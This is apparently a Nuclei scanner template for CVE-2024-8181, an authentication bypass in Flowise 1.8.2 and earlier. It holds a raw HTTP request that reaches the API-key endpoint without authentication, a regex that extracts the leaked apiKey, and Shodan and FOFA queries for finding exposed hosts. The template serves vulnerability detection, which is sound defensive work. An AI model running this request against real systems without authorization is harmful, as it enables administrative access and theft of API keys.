id: CVE-2024-8181

info:
  name: Flowise <= 1.8.2 Authentication Bypass
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    An Authentication Bypass vulnerability exists in Flowise version 1.8.2. This could allow a remote, unauthenticated attacker to access API endpoints as an administrator and allow them to access restricted functionality.
  impact: |
    Unauthenticated attackers can bypass authentication to access administrative API endpoints, gaining unauthorized access to restricted functionality, API keys, and administrative operations.
  remediation: |
    Update Flowise to a version later than 1.8.2 to address the authentication bypass vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2024-33
    - https://tenable.com/security/research/tra-2024-22-0
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8181
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
    cvss-score: 7.3
    cve-id: CVE-2024-8181
    epss-score: 0.60842
    epss-percentile: 0.9832
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-2051052918
    fofa-query: title:"Flowise"
  tags: tenable,cve,cve2024,flowise,auth-bypass,vkev,vuln,ai

http:
  - raw:
      - |
        GET /api/v1/apikey?/api/v1/ping HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Referer: {{RootURL}}/document-stores

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apiKey"
          - "apiSecret"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: apiKey
        part: body
        internal: false
        group: 1
        regex:
          - '"apiKey":"([^"]+)"'
# digest: 4a0a00473045022100a84e543a1e1e474e9e902261ea02eb53a6e979294999842a3f75b58004d42fe902204e48e608e8998060dece5e9752336a9476581efa4cd5b3d2ef64468839af6d04:922c64590222798bb761d5b6d8e72950